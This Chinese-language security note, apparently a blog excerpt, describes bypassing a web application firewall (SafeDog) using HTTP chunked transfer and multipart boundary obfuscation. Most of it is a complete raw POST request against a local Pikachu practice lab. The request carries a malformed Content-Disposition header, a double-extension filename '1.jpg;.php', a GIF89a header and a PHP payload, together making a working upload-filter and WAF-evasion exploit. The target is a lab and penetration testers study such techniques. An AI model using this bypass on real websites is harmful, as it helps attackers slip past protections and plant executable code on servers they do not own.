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http分块传输绕过
http分块传输⼀直是⼀个很经典的绕过⽅式，只是在近⼏年分块传输⼀直被卡的很死，很多waf都开始加
⼊了检测功能，所以的话，分块传输这⾥也不是很好使，但是配合边界混淆，好使的⼀批。
单纯http分块传输（已经⽆法绕过）
boundary边界混淆绕过
配合开源的⽅式来进⾏绕过
开源绕过1
在百度上有很多开源的⽅式来绕过安全狗，但是⼀⼀测试发现，绕过效果⾮常之垃圾，⼏乎都遇到了狗的阻拦，所以这⾥就经过变种+fuzz，来实现绕过安全狗，直接贴代码。
POST /pikachu-master/vul/unsafeupload/clientcheck.php HTTP/1.1
Host: 192.168.172.161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------378605579232816195651620102739
Content-Length: 448
Origin: http://192.168.172.161
Connection: close
Referer: http://192.168.172.161/pikachu-master/vul/unsafeupload/clientcheck.php
Cookie: PHPSESSID=sop5homauph2bdfeidn6ttv8l1
Upgrade-Insecure-Requests: 1
-----------------------------378605579232816195651620102739
Content-Disposition: form-data; name="uploadfile";fagfhaiofnalkvjoaffufile name=fjalfmavlaa; filename="1.jpg;.php
Content-Type: image/jpeg
GIF89a
]\'
d]\['
/\'
\]']\'
/\]'
w<?php phpinfo();
-----------------------------378605579232816195651620102739
Content-Disposition: form-data; name="submit"
开始上传
-----------------------------378605579232816195651620102739--